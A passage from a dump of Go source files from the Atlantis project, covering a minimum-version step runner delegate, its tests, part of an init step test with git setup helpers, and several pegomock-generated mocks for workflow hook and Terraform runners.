Any[*version.Version](), Any[string]())).\n\t\tThenReturn(\"output\", nil)\n\n\tctx := command.ProjectContext{\n\t\tWorkspace:  \"workspace\",\n\t\tRepoRelDir: \".\",\n\t\tLog:        logger,\n\t}\n\toutput, err := iso.Run(ctx, []string{\"extra\", \"args\"}, repoDir, map[string]string(nil))\n\tOk(t, err)\n\t// When there is no error, should not return init output to PR.\n\tEquals(t, \"\", output)\n\n\texpectedArgs := []string{\"init\", \"-input=false\", \"-upgrade\", \"extra\", \"args\"}\n\tterraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, repoDir, expectedArgs, map[string]string(nil), tfDistribution, tfVersion, \"workspace\")\n}\n\nfunc runCmd(t *testing.T, dir string, name string, args ...string) string {\n\tt.Helper()\n\tcpCmd := exec.Command(name, args...)\n\tcpCmd.Dir = dir\n\tcpOut, err := cpCmd.CombinedOutput()\n\tAssert(t, err == nil, \"err running %q: %s\", strings.Join(append([]string{name}, args...), \" \"), cpOut)\n\treturn string(cpOut)\n}\n\nfunc initRepo(t *testing.T) string {\n\trepoDir := t.TempDir()\n\trunCmd(t, repoDir, \"git\", \"init\")\n\trunCmd(t, repoDir, \"touch\", \".gitkeep\")\n\trunCmd(t, repoDir, \"git\", \"add\", \".gitkeep\")\n\trunCmd(t, repoDir, \"git\", \"config\", \"--local\", \"user.email\", \"atlantisbot@runatlantis.io\")\n\trunCmd(t, repoDir, \"git\", \"config\", \"--local\", \"user.name\", \"atlantisbot\")\n\trunCmd(t, repoDir, \"git\", \"config\", \"--local\", \"commit.gpgsign\", \"false\")\n\trunCmd(t, repoDir, \"git\", \"commit\", \"-m\", \"initial commit\")\n\trunCmd(t, repoDir, \"git\", \"branch\", \"branch\")\n\treturn repoDir\n}\n"
  },
  {
    "path": "server/core/runtime/minimum_version_step_runner_delegate.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\n// minimumVersionStepRunnerDelegate ensures that a given step runner can't run unless the command version being used\n// is greater than a provided minimum\ntype minimumVersionStepRunnerDelegate struct {\n\tminimumVersion   *version.Version\n\tdefaultTfVersion *version.Version\n\tdelegate         Runner\n}\n\nfunc NewMinimumVersionStepRunnerDelegate(minimumVersionStr string, defaultVersion *version.Version, delegate Runner) (Runner, error) {\n\tminimumVersion, err := version.NewVersion(minimumVersionStr)\n\n\tif err != nil {\n\t\treturn &minimumVersionStepRunnerDelegate{}, fmt.Errorf(\"initializing minimum version: %w\", err)\n\t}\n\n\treturn &minimumVersionStepRunnerDelegate{\n\t\tminimumVersion:   minimumVersion,\n\t\tdefaultTfVersion: defaultVersion,\n\t\tdelegate:         delegate,\n\t}, nil\n}\n\nfunc (r *minimumVersionStepRunnerDelegate) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) {\n\ttfVersion := r.defaultTfVersion\n\tif ctx.TerraformVersion != nil {\n\t\ttfVersion = ctx.TerraformVersion\n\t}\n\n\tif tfVersion.LessThan(r.minimumVersion) {\n\t\treturn fmt.Sprintf(\"Version: %s is unsupported for this step. Minimum version is: %s\", tfVersion.String(), r.minimumVersion.String()), nil\n\t}\n\n\treturn r.delegate.Run(ctx, extraArgs, path, envs)\n}\n"
  },
  {
    "path": "server/core/runtime/minimum_version_step_runner_delegate_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage runtime\n\nimport (\n\t\"testing\"\n\n\t\"github.com/hashicorp/go-version\"\n\t. \"github.com/petergtz/pegomock/v4\"\n\t\"github.com/runatlantis/atlantis/server/core/runtime/mocks\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nfunc TestRunMinimumVersionDelegate(t *testing.T) {\n\tRegisterMockTestingT(t)\n\n\tmockDelegate := mocks.NewMockRunner()\n\n\ttfVersion12, _ := version.NewVersion(\"0.12.0\")\n\ttfVersion11, _ := version.NewVersion(\"0.11.15\")\n\n\t// these stay the same for all tests\n\textraArgs := []string{\"extra\", \"args\"}\n\tenvs := map[string]string{}\n\tpath := \"\"\n\n\texpectedOut := \"some valid output from delegate\"\n\n\tt.Run(\"default version success\", func(t *testing.T) {\n\t\tsubject := &minimumVersionStepRunnerDelegate{\n\t\t\tdefaultTfVersion: tfVersion12,\n\t\t\tminimumVersion:   tfVersion12,\n\t\t\tdelegate:         mockDelegate,\n\t\t}\n\n\t\tctx := command.ProjectContext{}\n\n\t\tWhen(mockDelegate.Run(ctx, extraArgs, path, envs)).ThenReturn(expectedOut, nil)\n\n\t\toutput, err := subject.Run(\n\t\t\tctx,\n\t\t\textraArgs,\n\t\t\tpath,\n\t\t\tenvs,\n\t\t)\n\n\t\tEquals(t, expectedOut, output)\n\t\tOk(t, err)\n\t})\n\n\tt.Run(\"ctx version success\", func(t *testing.T) {\n\t\tsubject := &minimumVersionStepRunnerDelegate{\n\t\t\tdefaultTfVersion: tfVersion11,\n\t\t\tminimumVersion:   tfVersion12,\n\t\t\tdelegate:         mockDelegate,\n\t\t}\n\n\t\tctx := command.ProjectContext{\n\t\t\tTerraformVersion: tfVersion12,\n\t\t}\n\n\t\tWhen(mockDelegate.Run(ctx, extraArgs, path, envs)).ThenReturn(expectedOut, nil)\n\n\t\toutput, err := subject.Run(\n\t\t\tctx,\n\t\t\textraArgs,\n\t\t\tpath,\n\t\t\tenvs,\n\t\t)\n\n\t\tEquals(t, expectedOut, output)\n\t\tOk(t, err)\n\t})\n\n\tt.Run(\"default version failure\", func(t *testing.T) {\n\t\tsubject := &minimumVersionStepRunnerDelegate{\n\t\t\tdefaultTfVersion: tfVersion11,\n\t\t\tminimumVersion:   tfVersion12,\n\t\t\tdelegate:         mockDelegate,\n\t\t}\n\n\t\tctx := command.ProjectContext{}\n\n\t\toutput, err := subject.Run(\n\t\t\tctx,\n\t\t\textraArgs,\n\t\t\tpath,\n\t\t\tenvs,\n\t\t)\n\n\t\tmockDelegate.VerifyWasCalled(Never())\n\n\t\tEquals(t, \"Version: 0.11.15 is unsupported for this step. Minimum version is: 0.12.0\", output)\n\t\tOk(t, err)\n\t})\n\n\tt.Run(\"ctx version failure\", func(t *testing.T) {\n\t\tsubject := &minimumVersionStepRunnerDelegate{\n\t\t\tdefaultTfVersion: tfVersion12,\n\t\t\tminimumVersion:   tfVersion12,\n\t\t\tdelegate:         mockDelegate,\n\t\t}\n\n\t\tctx := command.ProjectContext{\n\t\t\tTerraformVersion: tfVersion11,\n\t\t}\n\n\t\toutput, err := subject.Run(\n\t\t\tctx,\n\t\t\textraArgs,\n\t\t\tpath,\n\t\t\tenvs,\n\t\t)\n\n\t\tmockDelegate.VerifyWasCalled(Never())\n\n\t\tEquals(t, \"Version: 0.11.15 is unsupported for this step. Minimum version is: 0.12.0\", output)\n\t\tOk(t, err)\n\t})\n\n}\n"
  },
  {
    "path": "server/core/runtime/mocks/mock_async_tfexec.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: AsyncTFExec)\n\npackage mocks\n\nimport (\n\tgo_version \"github.com/hashicorp/go-version\"\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/core/runtime/models\"\n\tterraform \"github.com/runatlantis/atlantis/server/core/terraform\"\n\tcommand \"github.com/runatlantis/atlantis/server/events/command\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockAsyncTFExec struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockAsyncTFExec(options ...pegomock.Option) *MockAsyncTFExec {\n\tmock := &MockAsyncTFExec{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockAsyncTFExec) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockAsyncTFExec) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockAsyncTFExec) RunCommandAsync(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *go_version.Version, workspace string) (chan<- string, <-chan models.Line) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockAsyncTFExec().\")\n\t}\n\t_params := []pegomock.Param{ctx, path, args, envs, d, v, workspace}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"RunCommandAsync\", _params, []reflect.Type{reflect.TypeOf((*chan<- string)(nil)).Elem(), reflect.TypeOf((*<-chan models.Line)(nil)).Elem()})\n\tvar _ret0 chan<- string\n\tvar _ret1 <-chan models.Line\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\tvar ok bool\n\t\t\t_ret0, ok = _result[0].(chan string)\n\t\t\tif !ok {\n\t\t\t\t_ret0 = _result[0].(chan<- string)\n\t\t\t}\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\tvar ok bool\n\t\t\t_ret1, ok = _result[1].(chan models.Line)\n\t\t\tif !ok {\n\t\t\t\t_ret1 = _result[1].(<-chan models.Line)\n\t\t\t}\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockAsyncTFExec) VerifyWasCalledOnce() *VerifierMockAsyncTFExec {\n\treturn &VerifierMockAsyncTFExec{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockAsyncTFExec) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockAsyncTFExec {\n\treturn &VerifierMockAsyncTFExec{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockAsyncTFExec) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockAsyncTFExec {\n\treturn &VerifierMockAsyncTFExec{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockAsyncTFExec) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockAsyncTFExec {\n\treturn &VerifierMockAsyncTFExec{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockAsyncTFExec struct {\n\tmock                   *MockAsyncTFExec\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockAsyncTFExec) RunCommandAsync(ctx command.ProjectContext, path string, args []string, envs map[string]string, d terraform.Distribution, v *go_version.Version, workspace string) *MockAsyncTFExec_RunCommandAsync_OngoingVerification {\n\t_params := []pegomock.Param{ctx, path, args, envs, d, v, workspace}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"RunCommandAsync\", _params, verifier.timeout)\n\treturn &MockAsyncTFExec_RunCommandAsync_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockAsyncTFExec_RunCommandAsync_OngoingVerification struct {\n\tmock              *MockAsyncTFExec\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockAsyncTFExec_RunCommandAsync_OngoingVerification) GetCapturedArguments() (command.ProjectContext, string, []string, map[string]string, terraform.Distribution, *go_version.Version, string) {\n\tctx, path, args, envs, d, v, workspace := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], path[len(path)-1], args[len(args)-1], envs[len(envs)-1], d[len(d)-1], v[len(v)-1], workspace[len(workspace)-1]\n}\n\nfunc (c *MockAsyncTFExec_RunCommandAsync_OngoingVerification) GetAllCapturedArguments() (_param0 []command.ProjectContext, _param1 []string, _param2 [][]string, _param3 []map[string]string, _param4 []terraform.Distribution, _param5 []*go_version.Version, _param6 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]command.ProjectContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(command.ProjectContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([][]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.([]string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]map[string]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(map[string]string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]terraform.Distribution, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(terraform.Distribution)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 5 {\n\t\t\t_param5 = make([]*go_version.Version, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[5] {\n\t\t\t\t_param5[u] = param.(*go_version.Version)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 6 {\n\t\t\t_param6 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[6] {\n\t\t\t\t_param6[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/runtime/mocks/mock_external_team_allowlist_runner.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: ExternalTeamAllowlistRunner)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockExternalTeamAllowlistRunner struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockExternalTeamAllowlistRunner(options ...pegomock.Option) *MockExternalTeamAllowlistRunner {\n\tmock := &MockExternalTeamAllowlistRunner{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockExternalTeamAllowlistRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockExternalTeamAllowlistRunner) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockExternalTeamAllowlistRunner) Run(ctx models.TeamAllowlistCheckerContext, shell string, shellArgs string, command string) (string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockExternalTeamAllowlistRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx, shell, shellArgs, command}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Run\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockExternalTeamAllowlistRunner) VerifyWasCalledOnce() *VerifierMockExternalTeamAllowlistRunner {\n\treturn &VerifierMockExternalTeamAllowlistRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockExternalTeamAllowlistRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockExternalTeamAllowlistRunner {\n\treturn &VerifierMockExternalTeamAllowlistRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockExternalTeamAllowlistRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockExternalTeamAllowlistRunner {\n\treturn &VerifierMockExternalTeamAllowlistRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockExternalTeamAllowlistRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockExternalTeamAllowlistRunner {\n\treturn &VerifierMockExternalTeamAllowlistRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockExternalTeamAllowlistRunner struct {\n\tmock                   *MockExternalTeamAllowlistRunner\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockExternalTeamAllowlistRunner) Run(ctx models.TeamAllowlistCheckerContext, shell string, shellArgs string, command string) *MockExternalTeamAllowlistRunner_Run_OngoingVerification {\n\t_params := []pegomock.Param{ctx, shell, shellArgs, command}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Run\", _params, verifier.timeout)\n\treturn &MockExternalTeamAllowlistRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockExternalTeamAllowlistRunner_Run_OngoingVerification struct {\n\tmock              *MockExternalTeamAllowlistRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockExternalTeamAllowlistRunner_Run_OngoingVerification) GetCapturedArguments() (models.TeamAllowlistCheckerContext, string, string, string) {\n\tctx, shell, shellArgs, command := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], shell[len(shell)-1], shellArgs[len(shellArgs)-1], command[len(command)-1]\n}\n\nfunc (c *MockExternalTeamAllowlistRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []models.TeamAllowlistCheckerContext, _param1 []string, _param2 []string, _param3 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.TeamAllowlistCheckerContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.TeamAllowlistCheckerContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/runtime/mocks/mock_post_workflows_hook_runner.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: PostWorkflowHookRunner)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockPostWorkflowHookRunner struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockPostWorkflowHookRunner(options ...pegomock.Option) *MockPostWorkflowHookRunner {\n\tmock := &MockPostWorkflowHookRunner{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockPostWorkflowHookRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockPostWorkflowHookRunner) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockPostWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockPostWorkflowHookRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx, command, shell, shellArgs, path}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Run\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 string\n\tvar _ret2 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(string)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2\n}\n\nfunc (mock *MockPostWorkflowHookRunner) VerifyWasCalledOnce() *VerifierMockPostWorkflowHookRunner {\n\treturn &VerifierMockPostWorkflowHookRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockPostWorkflowHookRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPostWorkflowHookRunner {\n\treturn &VerifierMockPostWorkflowHookRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockPostWorkflowHookRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPostWorkflowHookRunner {\n\treturn &VerifierMockPostWorkflowHookRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockPostWorkflowHookRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPostWorkflowHookRunner {\n\treturn &VerifierMockPostWorkflowHookRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockPostWorkflowHookRunner struct {\n\tmock                   *MockPostWorkflowHookRunner\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockPostWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) *MockPostWorkflowHookRunner_Run_OngoingVerification {\n\t_params := []pegomock.Param{ctx, command, shell, shellArgs, path}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Run\", _params, verifier.timeout)\n\treturn &MockPostWorkflowHookRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockPostWorkflowHookRunner_Run_OngoingVerification struct {\n\tmock              *MockPostWorkflowHookRunner\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockPostWorkflowHookRunner_Run_OngoingVerification) GetCapturedArguments() (models.WorkflowHookCommandContext, string, string, string, string) {\n\tctx, command, shell, shellArgs, path := c.GetAllCapturedArguments()\n\treturn ctx[len(ctx)-1], command[len(command)-1], shell[len(shell)-1], shellArgs[len(shellArgs)-1], path[len(path)-1]\n}\n\nfunc (c *MockPostWorkflowHookRunner_Run_OngoingVerification) GetAllCapturedArguments() (_param0 []models.WorkflowHookCommandContext, _param1 []string, _param2 []string, _param3 []string, _param4 []string) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]models.WorkflowHookCommandContext, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(models.WorkflowHookCommandContext)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 2 {\n\t\t\t_param2 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[2] {\n\t\t\t\t_param2[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 3 {\n\t\t\t_param3 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[3] {\n\t\t\t\t_param3[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 4 {\n\t\t\t_param4 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[4] {\n\t\t\t\t_param4[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/core/runtime/mocks/mock_pre_workflows_hook_runner.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/core/runtime (interfaces: PreWorkflowHookRunner)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockPreWorkflowHookRunner struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockPreWorkflowHookRunner(options ...pegomock.Option) *MockPreWorkflowHookRunner {\n\tmock := &MockPreWorkflowHookRunner{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockPreWorkflowHookRunner) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockPreWorkflowHookRunner) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockPreWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) (string, string, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockPreWorkflowHookRunner().\")\n\t}\n\t_params := []pegomock.Param{ctx, command, shell, shellArgs, path}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Run\", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 string\n\tvar _ret1 string\n\tvar _ret2 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(string)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(string)\n\t\t}\n\t\tif _result[2] != nil {\n\t\t\t_ret2 = _result[2].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1, _ret2\n}\n\nfunc (mock *MockPreWorkflowHookRunner) VerifyWasCalledOnce() *VerifierMockPreWorkflowHookRunner {\n\treturn &VerifierMockPreWorkflowHookRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockPreWorkflowHookRunner) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPreWorkflowHookRunner {\n\treturn &VerifierMockPreWorkflowHookRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockPreWorkflowHookRunner) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPreWorkflowHookRunner {\n\treturn &VerifierMockPreWorkflowHookRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockPreWorkflowHookRunner) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPreWorkflowHookRunner {\n\treturn &VerifierMockPreWorkflowHookRunner{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockPreWorkflowHookRunner struct {\n\tmock                   *MockPreWorkflowHookRunner\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockPreWorkflowHookRunner) Run(ctx models.WorkflowHookCommandContext, command string, shell string, shellArgs string, path string) *MockPreWorkflowHookRunner_Run_OngoingVerification {\n\t_params := []pegomock.Param{ctx, command, shell, shellArgs, path}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Run\", _params, verifier.timeout)\n\treturn &MockPreWorkflowHookRunner_Run_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockPreWorkflowHookRunner_Run_OngoingVerification struct 